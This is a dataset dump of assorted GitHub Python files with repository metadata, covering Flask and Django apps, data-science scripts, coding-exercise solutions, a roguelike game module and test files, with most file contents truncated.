blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
2
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
69
license_type
stringclasses
2 values
repo_name
stringlengths
5
118
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
63
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
2.91k
686M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
23 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
213 values
src_encoding
stringclasses
30 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
2
10.3M
extension
stringclasses
246 values
content
stringlengths
2
10.3M
authors
listlengths
1
1
author_id
stringlengths
0
212
b8deb2b9dbb51c31d7e0bd2d422a20c182cb5525
a34745efeb435a93309fb789b6bf03c031a5c820
/compchallenge2b.py
f634c6885e1ef4b0b0cfcb1e62472d1af9e93340
[]
no_license
brunoreyes/python_fundamentals
5e87358a10f674e5a049aa4c5ae6a0108cd72a8e
9fa2b341a5b5c954a6a1a77aa36ee6ef9fe70daa
refs/heads/master
2023-01-20T23:32:49.772268
2020-11-17T04:51:10
2020-11-17T04:51:10
302,809,977
0
0
null
null
null
null
UTF-8
Python
false
false
4,835
py
import timeit # timeit is good for comparing the speeds of multiple lines of code rather than finding the exact speed # "setup" is preferably way to give timeit access to global variables # garbage collection # By default, timeit() temporarily turns off garbage collection during the timing. # The advantage of this a...
[ "bruno619reyes@gmail.com" ]
bruno619reyes@gmail.com
d4ad983bb64d5751121ab96f0b31f78bdb862868
b544a6d23a19f19a5a4ba41f3e002dc6666ec220
/tyche/route/__init__.py
1b2bd234a0a622503b44f05816266b86b76b1e58
[]
no_license
EternalZing/Tyche-Server
2429b7a0cf952ae972f8f2de0ac085220984968a
b29b4fd3b5aea23127f3198c464e3c6421ae9c96
refs/heads/master
2021-05-05T12:56:09.266103
2018-02-08T07:55:36
2018-02-08T07:55:36
118,345,047
1
1
null
null
null
null
UTF-8
Python
false
false
26
py
from .rules_r import rule
[ "445625470@qq.com" ]
445625470@qq.com
1a978bc0c5339f155784d67e949cf1b613a17034
112b6fbda45328775cde667d084f7c4a2c5898bf
/app.py
9a3521caf6c87e0927ff12566f8c63d9f210161a
[]
no_license
jenienam/Online-Personality-App
5a93fe37075198bf73cdb70f45dac43ed97a8125
1d913f4d9e6bc00beb358153b3f91234cd0176da
refs/heads/master
2022-12-16T05:27:19.138811
2020-09-17T07:17:11
2020-09-17T07:17:11
287,020,047
1
0
null
null
null
null
UTF-8
Python
false
false
1,432
py
# Dependencies import numpy as np from flask import Flask, request, render_template import requests from web_scraper import redditScraper, twitterScraper from data_cleaning import calculateModelParameters from model import personalityTypeResult app = Flask(__name__) @app.route('/') def home(): return (render_temp...
[ "jenien@uci.edu" ]
jenien@uci.edu
015c735e062ac63dde157d1b06e700b8009e14ce
8a1241ac8ad91672aec81c878f2165a7678a1ad6
/Web/Applications/Visualizer/server/pv_web_visualizer.py
84ef98ae22d8c269ffca4d47cdd4e0a31d3dd2f0
[ "MIT", "LicenseRef-scancode-paraview-1.2", "Apache-2.0", "LicenseRef-scancode-protobuf", "BSD-3-Clause" ]
permissive
lmynsberge/ParaView
d9fbd0f4da197bc96172be8697ced76fe73852bf
2a68ee496949becf499742dfdbecb41b1eda81a7
refs/heads/master
2021-01-22T16:18:25.241194
2013-11-11T15:01:02
2013-11-11T15:01:02
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,203
py
r""" This module is a ParaViewWeb server application. The following command line illustrate how to use it:: $ pvpython .../pv_web_visualizer.py --data-dir /.../path-to-your-data-directory --data-dir is used to list that directory on the server and let the client choose a file to load. ...
[ "sebastien.jourdain@kitware.com" ]
sebastien.jourdain@kitware.com
205e2c6f3f8e1f3fd358d21e4ccbb1da32701a93
021a3dff055d4b3e40aafc63f0029dc280466233
/db_scripts/curw_fcst/rfield/gen_rfield_kelani_basin_parallelized_optimized.py
e2bed1eb35b657a3592bea9d212fe72a3c8b6482
[]
no_license
shadhini/curw_helpers
45efe90d887c702b3a3f5877163647e220d230e4
101d896f8b589b478ef146b5b4dd99ec24f2dc84
refs/heads/master
2021-07-03T02:53:13.398052
2020-10-28T03:39:58
2020-10-28T03:39:58
185,217,580
0
0
null
null
null
null
UTF-8
Python
false
false
6,854
py
#!/home/uwcc-admin/curw_rfield_extractor/venv/bin/python3 import traceback import pymysql import json import getopt import sys import os import re import multiprocessing as mp from datetime import datetime, timedelta # connection params HOST = "" USER = "" PASSWORD = "" DB ="" PORT = "" VALID_MODELS = ["WRF_A", "WRF_...
[ "jshadhiniaseka@gmail.com" ]
jshadhiniaseka@gmail.com
68ecfff4ba3f11e8600cdf732af4fbb73db1d9a6
e07fc6fb419c1ce0616478ae1a59f9d70e353984
/src/hqmanager/parser.py
0db9f6249ad53d892fa9f580b66afaa49bef0d56
[ "MIT" ]
permissive
herqles-io/hq-manager
9e647bf874411279cb47f162c0c2049f984ce6c5
ec4a37760a7d0a52128b66eb264eb25998c6a9d1
refs/heads/master
2021-01-23T08:38:32.203593
2015-08-11T18:50:42
2015-08-11T18:50:42
40,308,480
0
0
null
null
null
null
UTF-8
Python
false
false
343
py
import argparse import hqmanager description = """Some description here""" epilog = """Some epilog here""" parser = argparse.ArgumentParser( description=description, epilog=epilog) parser.add_argument('-c', '--config', required=True, help='Config file to use') parser.set_defaults(func=hqmanager.main) # args...
[ "rbelgrave@covermymeds.com" ]
rbelgrave@covermymeds.com
1cc46aac55864041c24fc7764d0bacccf6e6b983
c5ccca7b5af562e10c91a4dfe451da0990e73edf
/Test2-1/users/migrations/0006_auto_20200402_1057.py
e21fdce120ed0f09058b2ad3cd83f4ed31c5a5a0
[]
no_license
170400529/zwj
ac29e788d47f0c1381527bbc101711c656d29e29
66257a8028fefb9a016e0dc04b99c9d2daed07ee
refs/heads/master
2021-05-20T20:25:30.200353
2020-04-02T09:05:49
2020-04-02T09:05:49
252,406,215
0
0
null
null
null
null
UTF-8
Python
false
false
482
py
# Generated by Django 3.0.4 on 2020-04-02 02:57 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('users', '0005_auto_20200402_1056'), ] operations = [ migrations.AlterField( model_name='question', name='level', ...
[ "2583145870@qq.com" ]
2583145870@qq.com
e40f1eef29e7514039f8878f249ee57807933519
a1d986433707e5a645347921f0b941176319ec15
/venv/bin/easy_install
6f048b0a8a3450324440a6e904b07daf6a076319
[]
no_license
ezanat1/WineML
edba7ffe3d0353144f5f769e20e75af79b0ea234
7f77c70d0da9660ce60b9f5f94796b452024c870
refs/heads/master
2020-05-16T23:13:37.708689
2018-12-07T01:26:10
2018-12-07T01:26:10
183,357,538
1
0
null
2019-04-25T04:40:53
2019-04-25T04:40:52
null
UTF-8
Python
false
false
281
#!/Users/ezanatesfaye/Desktop/WineRecommendation/venv/bin/python3 # -*- coding: utf-8 -*- import re import sys from setuptools.command.easy_install import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit(main())
[ "ezanatesfaye@Ezanas-MacBook-Pro.local" ]
ezanatesfaye@Ezanas-MacBook-Pro.local
bd9e112b5ba6b811a80a6b9ccc5271dbdd0cc491
907ea8b2e3af5035ee640c95c646d6a04a192d41
/TTools/TTools.py
43b91782b12f7b6b5ed03dfe17eae3ca57566dd8
[]
no_license
cuchy/TTools
8869ee47d3c489d95fa2c8b454757aee521cd705
37527c5a60360f0ddef7398a34296ab332810e0c
refs/heads/master
2021-01-11T10:39:05.100786
2016-11-05T21:25:29
2016-11-05T21:25:29
72,948,537
0
1
null
null
null
null
UTF-8
Python
false
false
13,785
py
#!/usr/bin/python # -*- coding: iso-8859-1 -*- # "=========================================================================" # " UDELAR - Facultad de Ingeniería " # " Proyecto de Grado - Año 2016 " # " Autores: Viviana Solla & Gabriel Jambrina " # "============================================...
[ "noreply@github.com" ]
cuchy.noreply@github.com
54b3d5db7d4193b1ac06c3eb01d62a626a47d055
118217dbc4d2e78f9fdf54fb652309708effa673
/app/app/settings.py
a444feed928e83d5a84443c4e23b4910660ea23e
[ "MIT" ]
permissive
Mimicx/recipe-app-api
68f1d40aee64212823ff5e91a3fa3cd6e51b459f
4aa0ad098d414861b628e50948b741dc56a5847a
refs/heads/master
2020-12-04T15:01:06.894710
2020-04-27T08:10:32
2020-04-27T08:10:32
231,809,804
0
0
null
null
null
null
UTF-8
Python
false
false
3,241
py
""" Django settings for app project. Generated by 'django-admin startproject' using Django 2.1.15. For more information on this file, see https://docs.djangoproject.com/en/2.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.1/ref/settings/ """ import os # Bu...
[ "mimic@MacBook-Pro-de-Mimic.local" ]
mimic@MacBook-Pro-de-Mimic.local
7ef805e48e0b8adaf86af6ff894ad57d90a8dabe
334e7e8b9162cd74e1c9dd115a6e293f01051454
/src/profiles/admin.py
2ded111a3ce3a2b08cab6f2e78f67dd609b0352c
[ "MIT" ]
permissive
contactr2m/remote_repo
dec0dff9c299ab665cd36642a757ae9fa35950c3
5665c55b794929fd40645264c5c149e64d172097
refs/heads/master
2021-01-10T13:13:47.359357
2016-04-26T14:23:49
2016-04-26T14:23:49
53,814,820
0
0
null
2016-03-20T19:37:37
2016-03-14T00:13:06
Python
UTF-8
Python
false
false
1,084
py
from __future__ import unicode_literals from django.contrib import admin #from authtools.admin import NamedUserAdmin from .models import Profile from django.contrib.auth import get_user_model from django.core.urlresolvers import reverse from accounts.admin import EmailUserAdmin User = get_user_model() class UserProfi...
[ "contactr2m@gmail.com" ]
contactr2m@gmail.com
c77fc7c74aee8e33dbb0111a5d71f763ecb0cb21
b0015342f71f027a63630b0e3d76c8b1a24088a2
/srnet/utils/__init__.py
f498b8ecabd11961a34814af7e37aa1f1b32a691
[]
no_license
sean-rice/srnet
476804f1f20d2e2b9d124e849cc6804e2b5ea878
6cf1b0232c081e1e8e02073402cd4f6910100255
refs/heads/master
2023-09-05T01:36:21.727479
2021-05-24T22:33:22
2021-05-24T22:33:22
283,088,184
0
0
null
null
null
null
UTF-8
Python
false
false
59
py
from . import _utils, image, image_list, patchable_wrapper
[ "contact@sean.ee" ]
contact@sean.ee
ec639ec794b8162d801d6bc692154bb82195da7c
5294915919042b56505a01ed64b579a2c3788647
/DS_SJE_utils.py
f4526d5a19652cf71e6686319c002428521a39dd
[]
no_license
JinHyeopLee/DS_SJE_tensorflow
bd67a6765015b3602f13ce0dd5220835f4523239
06f17e822bee1bddfa58fa91fc91305462d1078d
refs/heads/master
2020-04-07T07:04:52.643075
2018-12-05T15:05:03
2018-12-05T15:05:03
158,162,731
0
0
null
null
null
null
UTF-8
Python
false
false
598
py
import numpy as np def append_nparr(arr1, arr2, axis=0): if arr1 is None: arr1 = arr2 else: arr1 = np.append(arr1, arr2, axis=axis) return arr1 def random_select(class_num, num_entity_each_class): random_offset = np.random.randint(0, num_entity_each_class[class_num]) class_base_...
[ "jhlee7467@gmail.com" ]
jhlee7467@gmail.com
e2f166eb27eec77732a009850684325baf47550c
148f5fb80cb7640dbd4419617f1f002cd6b641bf
/MP4-HadoopMapReduce/TopTitleStatisticsMapper.py
43f9404508a4053c503e19c3962ab525dd6dd767
[]
no_license
nhtrinh2/Cloud-Computing-and-Big-Data
7e6ec7811f42188ed181bb72b3be7768f7546480
c51e48e96660d7ed67f9812017124d30453a6f0a
refs/heads/master
2023-03-17T02:57:58.801203
2020-04-19T19:21:57
2020-04-19T19:21:57
null
0
0
null
null
null
null
UTF-8
Python
false
false
172
py
#!/usr/bin/env python3 import sys for line in sys.stdin: word, value = line.strip().split('\t') print('%s\t%s' % ('count', value)) # pass this output to reducer
[ "hongfeili365@gmail.com" ]
hongfeili365@gmail.com
3fa5adf81091340c3211190e48597e99715da11a
0723805aecf730d6762456651430ac222b5548b2
/codechef/MARCH13_TOTR.py
5e1cc0bae539be9ab3f3c7829ad028d2f7aeb10a
[]
no_license
nemausus/topcoder
4979ba2b626cd23423891b5e126a30dbfc47960f
946bccc7847a6ac3177a5a7bb70917980a2912ee
refs/heads/master
2020-12-29T02:40:15.540203
2017-06-09T06:01:38
2017-07-07T21:45:21
7,567,126
0
0
null
null
null
null
UTF-8
Python
false
false
619
py
// https://www.codechef.com/MARCH13/status/TOTR,nemausus // https://www.codechef.com/viewplaintext/1890676 import string a,b = raw_input().split() t = int(a) translation = str(b) dictionary = {'_':' '} allTheLetters = string.lowercase for i in range(26): dictionary[allTheLetters[i]] = translation[i] dictionary...
[ "naresh.kumar@thoughtspot.com" ]
naresh.kumar@thoughtspot.com
973d2f5af01158d20e8d8e0401dd4a38bffe70c1
a4fd8c01606641424faca66cae651b2670a863d7
/postfinancecheckout/models/customers_presence.py
904e7a50b40d1e730de795f474b2417c870457c4
[ "Apache-2.0" ]
permissive
pfpayments/python-sdk
c435a4519a5a95a46cb6e446a4a8c83aeb9dcc2d
2d6b1429f5a4cafe61dcf5ea2c2a698848a837e0
refs/heads/master
2023-08-07T17:05:20.864000
2023-07-20T14:41:34
2023-07-20T14:41:34
251,532,627
2
0
Apache-2.0
2022-10-26T08:40:23
2020-03-31T07:38:00
Python
UTF-8
Python
false
false
207
py
# coding: utf-8 from enum import Enum, unique @unique class CustomersPresence(Enum): NOT_PRESENT = "NOT_PRESENT" VIRTUAL_PRESENT = "VIRTUAL_PRESENT" PHYSICAL_PRESENT = "PHYSICAL_PRESENT"
[ "thomas.hunziker@customweb.com" ]
thomas.hunziker@customweb.com
e5ace796de9aa6a3eed2fe626a7ccff896fcd712
c73f43dde251d83cf889f0d056559e601fe134e2
/test/baike_spider/url_manager.py
511a948ae3cbfa4bc8c2ef308da751d598b27ead
[]
no_license
zhangyang183487/awesome-python3-webapp
bedd2bd2689abb130720afcfbd80f1a7adcab4c7
96e8e02a6fdb75a57a92259ad2c78c3593ef535a
refs/heads/master
2020-04-28T21:27:49.228349
2019-06-19T07:56:02
2019-06-19T07:56:02
175,582,604
0
0
null
2019-06-19T07:56:03
2019-03-14T08:46:26
Python
UTF-8
Python
false
false
867
py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- class UrlManager(object): def __init__(self): self.new_urls = set() self.old_urls = set() # 添加新url def add_new_url(self, url): if url is None: return if url not in self.new_urls and url not in self.old_urls: ...
[ "zhangyang183487@hollysys.com" ]
zhangyang183487@hollysys.com
d1f9c5d8fe6a52dd2e130204f45e94850dfa5e0f
33f86c1678d2f5e15da77885e0bf770f405201a4
/tcamp/local_settings.example.py
b5b48f86971536c25ec25d5c61d13c2805a1304e
[ "BSD-3-Clause" ]
permissive
imclab/tcamp
5410c9549ed7731575e7312acfed7b8e4cd0c58d
111cabab90b2c8cf651ee480520bc43a33f30844
refs/heads/master
2021-01-18T12:15:58.484183
2014-03-05T21:36:00
2014-03-05T21:36:06
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,832
py
DEBUG = True ADMINS = ( ('', ''), ) MANAGERS = ADMINS INTERNAL_IPS = ('127.0.0.1', ) SECRET_KEY = '' DATABASES = { 'local': { 'ENGINE': '', # Add 'postgresql_psycopg2', 'mysql', 'sqlite3' or 'oracle'. 'NAME': '', # Or path to database file if using sqlite3. 'USER': ...
[ "dan.drinkard@gmail.com" ]
dan.drinkard@gmail.com
26788b2b41f458fe7a22cf558196deec2b03846b
8a870098382dce7bf59ed046908ed369e5045662
/Problem_Solving/Algorithms/Implementation/8_Migratory_Birds/Solution.py
0a2caf5509caf83a3adb2d89c9229e6dfabb8d49
[ "MIT" ]
permissive
CFLSousa/HackerRank
794318b3c4903f9f625848dfcd00d7d52b0bf748
29ed039634e88d72981b2ecd619e5c65d37111e4
refs/heads/master
2021-08-17T10:31:54.739339
2020-04-13T16:11:36
2020-04-13T16:11:36
159,576,300
0
0
null
null
null
null
UTF-8
Python
false
false
692
py
import math import os import random import re import sys def migratoryBirds(arr): countersLen=5 maxCounter=0 maxCounterIndex=0 counters=[0 for x in range(countersLen)] for k,birdType in enumerate(arr): counters[birdType-1]+=1 for index,counterVal in enumerate(counters): if cou...
[ "zizo2@sapo.pt" ]
zizo2@sapo.pt
3dcaa933be418416fe87dd55f3819f52ea48c329
4460086c7817c8f952d9f532cbbc01770a8f7d83
/hello.py
103ce431c728a675fd31464b1e1075071aeab4b4
[ "MIT" ]
permissive
qianjing2020/twitoff
d3c926f153513a83df728aa8722412ef14856070
a223e8f4a3dfecd582c18c92f8ac9212a01d4570
refs/heads/main
2023-04-17T05:39:41.990743
2021-05-02T02:52:04
2021-05-02T02:52:04
311,975,367
0
0
MIT
2020-11-28T03:25:16
2020-11-11T13:14:38
null
UTF-8
Python
false
false
228
py
# hello.py from flask import Flask app = Flask(__name__) # print(__name__) # print(type(app)) @app.route("/") def index(): x = 2 + 2 return f"Hello World! {x}" @app.route("/about") def about(): return "About me"
[ "qianjing2020@users.noreply.github.com" ]
qianjing2020@users.noreply.github.com
f9ff82f3afadebdc0f2fa82b4a0f19227d7cf918
67a10f3384d5048bbc0e46c0535b0c113d78c2fa
/examples/implicit_orientation_learning/train.py
0e435a1228d1816889983ad832d23c56eaed8537
[ "MIT" ]
permissive
DeepanChakravarthiPadmanabhan/fer
af9bc6b65bf6d265c63d107b0f11ab0c09002390
920268633aa0643416551212ec2d70f3591b5001
refs/heads/master
2023-09-05T03:04:50.468845
2021-11-09T23:42:54
2021-11-09T23:42:54
426,337,368
0
0
null
null
null
null
UTF-8
Python
false
false
6,135
py
import os import glob import json import argparse from tensorflow.keras.callbacks import EarlyStopping, ReduceLROnPlateau from tensorflow.keras.callbacks import CSVLogger, ModelCheckpoint from tensorflow.keras.optimizers import Adam from paz.backend.image import write_image from paz.abstract import GeneratingSequence...
[ "deepangrad@gmail.com" ]
deepangrad@gmail.com
4b2654ba6bffd9e20cf44a960e8ed5166476ba81
749aca95edfaad9e7d8b84dc2c6f62038595efc3
/mandala.py
dac1d0eae959c6a652cc1f391088ca60e9419b56
[]
no_license
xmduhan/mandala
efe72b116ec829457cd2286b88b4544d5538861c
eafea6c9ebd0ca913c070f0bf2cbf72a6566b0a7
refs/heads/master
2021-06-30T16:30:49.410637
2017-09-20T09:44:53
2017-09-20T09:44:53
104,153,412
0
0
null
null
null
null
UTF-8
Python
false
false
3,494
py
#!/usr/bin/env python # encoding: utf-8 import dataset from pyfiglet import Figlet from termcolor import cprint from prompt_toolkit import prompt as _prompt from prompt_toolkit.history import InMemoryHistory from itertools import count from treelib import Tree from pandas import DataFrame history = InMemoryHistory() d...
[ "xmduhan@gmail.com" ]
xmduhan@gmail.com
27ddd3555fa9a367607271950e9516a2c79efd64
0ae54260b86968dbb2748496629775d03732359c
/controller/action.py
60f11dd52f310b7f7d927cc3bf4d6fec2c0278ad
[ "MIT" ]
permissive
sosterwalder/bti7501p
f9593bdf440af25cd40c7f3347e973dd77a0c6b2
6da28ac4f6c63205a2b6e8708b01c65fda6c3ce5
refs/heads/master
2021-01-10T19:56:54.759971
2014-06-13T21:28:00
2014-06-13T21:28:00
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,647
py
#!/usr/bin/env python # action.py module # # The MIT License (MIT) # # Copyright (c) 2014 Thi Thuy-Duc Dao (daodt1@bfh.ch), Sven Osterwalder (ostes2@bfh.ch) # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # ...
[ "sven.osterwalder@gmail.com" ]
sven.osterwalder@gmail.com
67124ec1d96da05dd8371cdfe96260d5600890e8
45ffc0be0c6952cd7b503485e5c50fdc619b0601
/venv/settings.py
a304eab9e003e7a27169e4da389635a7237ab2f6
[]
no_license
Quanny02/Alien_invasion
8f86854ea445e165b3ed28bd2c042c654c8f0803
7d8639bce39faecf2f388652389e51920bf47894
refs/heads/master
2020-03-16T22:25:06.412758
2018-05-29T11:59:55
2018-05-29T11:59:55
133,038,358
0
0
null
null
null
null
UTF-8
Python
false
false
506
py
class Settings(): """A class to store all setting s for Alien Invasion""" def __init__(self): """Initialize the game's settings.""" #screen settings self.screen_width =1200 self.screen_height = 800 self.bg_color = (230, 230, 230) #ship settings self.ship_...
[ "james.ellisjr@stu.jefferson.kyschools.us" ]
james.ellisjr@stu.jefferson.kyschools.us
dd1240297f91dad4af698a16309dfc8c8652efa8
09fe5ec73326265ccdc05778baa35dd59acb1dd4
/Missions_to_Mars/scrape_mars.py
0085ecad12f50add3ebbe7c9cf64a8e3faa915b2
[]
no_license
Alvin1359/missions-to-mars-webscraping
b1b51cad9e2065b3528cf89880c476c4911a995e
8880d79db63dda1ab2118ded406ff0c524428e4f
refs/heads/main
2023-05-27T19:59:19.442287
2021-06-14T15:21:59
2021-06-14T15:21:59
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,372
py
import pandas as pd from splinter import Browser from bs4 import BeautifulSoup import time from webdriver_manager.chrome import ChromeDriverManager def scrape_info(): # Splinter setup executable_path = {'executable_path': ChromeDriverManager().install()} browser = Browser('chrome', **executable_path, head...
[ "alvinjaylucero1@gmail.com" ]
alvinjaylucero1@gmail.com
af0ff074d35191259400a9937db81997e7772ffd
d52cb4c2e880875944b14da0b8a9542235942ac8
/geeksforgeeks/heap/6_Find_median_in_stream.py
521a8f79468f59a0c175f5766c7681ae8d0a619c
[]
no_license
saparia-data/data_structure
fbd61535b68f92143b2cb2679377c0f56f424670
2e8700cfdaeefe0093e5b4fb2704b1abcd300d02
refs/heads/master
2023-05-08T18:54:52.250941
2021-06-04T05:44:29
2021-06-04T05:44:29
296,071,146
1
0
null
null
null
null
UTF-8
Python
false
false
3,382
py
''' Given an input stream of N integers. The task is to insert these numbers into a new stream and find the median of the stream formed by each insertion of X to the new stream. Example 1: Input: N = 4 X[] = 5,15,1,3 Output: 5 10 5 4 Explanation:Flow in stream : 5, 15, 1, 3 5 goes to stream --> median 5 (5) 15 goe...
[ "saparia.ashvin@tavant.com" ]
saparia.ashvin@tavant.com
0f02c8e716a5430048e7a6238850eacba01fa71a
f9c1c3523905e511d206187321b53ad39bbe5751
/import.py
9ddd2be3508219ec3a8d5a6575fac8ef8d1b9dcd
[]
no_license
amrrsharaff/daisy-hacks
4f5acc0313a8740633a65ce6086649ddb720b35e
c69c5fb287c62b90981acdf8ae366efca14acb84
refs/heads/master
2021-05-09T02:23:34.629595
2018-02-05T23:11:08
2018-02-05T23:11:08
119,207,392
0
0
null
null
null
null
UTF-8
Python
false
false
1,358
py
import tensorflow as tf import csv import pandas # Metadata describing the text columns COLUMNS = ['date_', 'store', 'department', 'item', 'unit_price','on_promotion', 'promotion_type', 'quantity'] FIELD_DEFAULTS = [[0.0], [0.0], [0.0], [0.0], [0], [0], [0], [0]] def _parse_line(line): # De...
[ "noreply@github.com" ]
amrrsharaff.noreply@github.com
dd8e7febbbd200e6c38975d76ce0e0646f3d7a4f
d5ef8f9ba3fc9a3af95c9c480eca3453606ed2d2
/isup_parameters/RedirectingNumberFlag.py
cde06ec3cad46959bfcbcc871df73e9314bef8a2
[]
no_license
sureshrasa/isupds
ab0b643dc64923b55b679e2a19b88b7b11ab1c6b
cc4bb976dfcdd30719766051485956dfb6da169a
refs/heads/master
2020-03-21T15:27:08.613505
2018-06-26T09:57:21
2018-06-26T09:57:21
138,713,217
0
0
null
null
null
null
WINDOWS-1252
Python
false
false
473
py
# # Author(s): Suresh Rasakulasuriar # # Copyright: © Resilientplc.com Ltd. 2018 - All Rights Reserved # from enum import IntEnum, unique @unique class RedirectingNumberFlag(IntEnum): OddAddressSignals = 0 UNRECOGNISED = 0xFFFF class RedirectingNumberFlagDict: _dict = { 0 : Redirecti...
[ "suresh@suriar.me.uk" ]
suresh@suriar.me.uk
80ba85293b15a3a17058013b70da20e139f12445
bd69b2c0737b25344f40d34870ebe59a70dde19f
/exploratory.py
a224cefb2e6de87f3001f0e667dff62a0b75eb39
[]
no_license
shalisap/thesis-code
0e15a9014cbfdc61d40ce39c87422e507ca3f491
049aa1b469f6ccf02d7c6b2f3c7724d17656b7cc
refs/heads/master
2021-05-28T23:15:37.173771
2015-04-30T16:41:26
2015-04-30T16:41:26
null
0
0
null
null
null
null
UTF-8
Python
false
false
18,086
py
""" Create visualizations for time series data from parsed, windowed log files. Supports horizon plots and color plots for random samples, histogram of distribution characteristics, and single series time plots. Syntax: python exploratory.py -summarize logfile.pickle python exploratory.py -horizon logfile.pickle r...
[ "spattarawutt@gmail.com" ]
spattarawutt@gmail.com
85a7bdd7a9ae0094ba0970d2c19c7db253851acb
4b866626551640b701274cc1f6a8ea8966199c2d
/2019/Day_07/day7_Amplification_Circuit_Class.py
75f27a0663e2174a2a88387170563beb80085fc8
[]
no_license
MaxTechniche/AdventOfCode
5a496b03c4348214a3abd990c5de8e10bd3a4fff
8d67cc151abc686cb06770422b795307f7cff170
refs/heads/main
2023-02-03T00:55:35.057710
2022-12-18T23:21:47
2022-12-18T23:21:47
307,274,063
0
1
null
null
null
null
UTF-8
Python
false
false
5,408
py
og = [3,8,1001,8,10,8,105,1,0,0,21,46,67,76,101,118,199,280,361,442,99999,3,9,1002,9,4,9,1001,9,2,9,102,3,9,9,101,3,9,9,102,2,9,9,4,9,99,3,9,1001,9,3,9,102,2,9,9,1001,9,2,9,1002,9,3,9,4,9,99,3,9,101,3,9,9,4,9,99,3,9,1001,9,2,9,1002,9,5,9,101,5,9,9,1002,9,4,9,101,5,9,9,4,9,99,3,9,102,2,9,9,1001,9,5,9,102,2,9,9,4,9,99,3,...
[ "jacobcarlmaxfield@gmail.com" ]
jacobcarlmaxfield@gmail.com
f9dce4240433ce38d9194cea922badddef39792a
391bca5157a1de3f94cb4dfbd7d3cd83665d0be5
/audioDatasetHdf.py
b6ee1017bdaa7b7193040ec9c2d6cbd5a98d442b
[]
no_license
yogurtss/dual_path
69470ff1ebba63d32c95b988d51e8f73bd21b702
479bba58326058af6e41018b2e0037319fe7ee8c
refs/heads/master
2021-05-19T14:10:28.672095
2020-03-31T21:58:44
2020-03-31T21:58:44
251,749,967
1
0
null
null
null
null
UTF-8
Python
false
false
7,711
py
import musdb import soundfile import os import librosa as lib from tqdm import tqdm import numpy as np import torch from sortedcontainers import SortedList import h5py import torch.nn as nn from dataset.util import * def getMUSDB(database_path): # 导入数据 mus = musdb.DB(root=database_path, is_wav=...
[ "noreply@github.com" ]
yogurtss.noreply@github.com
e28726924a187a1dcb5a4094e5ec1bb966898601
1777f5e6f3129e5e2df75161f669eb0531355a0b
/myweb/mysite/mysite/urls.py
d8a926e25371899e3a82b7ef589d0b22daf50f5b
[]
no_license
HakimdarC/CRUD-project-Django-Django
ca52b3420a3e25fcebea7f855102a9e306dcbb19
4fe51989e1be7940331ddb89ccc7992a6a49559a
refs/heads/master
2022-10-08T04:01:41.530990
2019-07-26T12:04:02
2019-07-26T12:04:02
195,555,184
0
1
null
2022-10-03T14:09:50
2019-07-06T15:33:10
Python
UTF-8
Python
false
false
982
py
"""mysite URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.1/topics/http/urls/ Examples: Function views 1. Add an import: from myapp import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based v...
[ "moseshakim23@gmail.com" ]
moseshakim23@gmail.com
736d14a11bc8f5c100eaeef9314edb90e4aed66d
775a51872851cd8d60ecf7b6c5f2a46103bc0bbc
/Dict-Hashing.py
68b469e28de0edb396baf1b468ec90496094f53a
[]
no_license
Prabhanda-Akiri/Data-Structures-Implementation
08e285c29f7ed6794f937cf79e6d8f3cc7b18b99
d184b01889cbe68ec9ed033a353867a12e7f6edd
refs/heads/master
2021-01-20T10:46:45.927412
2018-01-22T08:43:46
2018-01-22T08:43:46
101,647,843
0
0
null
null
null
null
UTF-8
Python
false
false
3,494
py
class LinkedList: """Defines a Singly Linked List. attributes: head """ def __init__(self): """Create a new list with a Sentinel Node""" self.head=ListNode('a') def insert(self,x,s): """Insert element x in the position after p""" self.temp=ListNode(s) s...
[ "noreply@github.com" ]
Prabhanda-Akiri.noreply@github.com
2b900473f8ebad3774236008a4ce12609bd077c4
c4af67db4c523d20f2d55aef90ba77db1fb53c38
/validation/tests/test_validation.py
c1128b9d609b6db323abf0d49d809d2207be7177
[]
no_license
dtgit/dtedu
e59b16612d7d9ea064026bf80a44657082ef45a3
d787885fe7ed0de6f9e40e9b05d852a0e9d60677
refs/heads/master
2020-04-06T05:22:50.025074
2009-04-08T20:13:20
2009-04-08T20:13:20
171,351
1
0
null
null
null
null
UTF-8
Python
false
false
3,060
py
from Testing import ZopeTestCase from Products.Archetypes.tests.atsitetestcase import ATSiteTestCase from Testing.ZopeTestCase import doctest from Products.validation import validation class TestValidation(ATSiteTestCase): def test_inNumericRange(self): v = validation.validatorFor('inNumericRange') ...
[ "ron@domU-12-31-39-02-65-03.compute-1.internal" ]
ron@domU-12-31-39-02-65-03.compute-1.internal
c142161627e8cc6cd58d55944d32e4c84a8c57d9
123d70d21419fbdf6939135e09b263f145f4174e
/new/plomrogue/commands.py
744d471fac100bc5e326813899d93466a353566e
[]
no_license
plomlompom/plomrogue2-experiments
53aaf24ca88bc49bc21d13616de5126fa488ee31
a466115714f7da37c45d3fd0d054d67f85a725f0
refs/heads/master
2021-01-20T00:28:33.601033
2019-05-13T11:13:26
2019-05-13T11:13:26
89,135,617
0
0
null
null
null
null
UTF-8
Python
false
false
4,931
py
from plomrogue.misc import quote def cmd_GEN_WORLD(game, yx, seed): game.make_new_world(yx, seed) cmd_GEN_WORLD.argtypes = 'yx_tuple:pos int:nonneg' def cmd_GET_GAMESTATE(game, connection_id): """Send game state to caller.""" game.send_gamestate(connection_id) def cmd_SEED(game, seed): game.rand.pr...
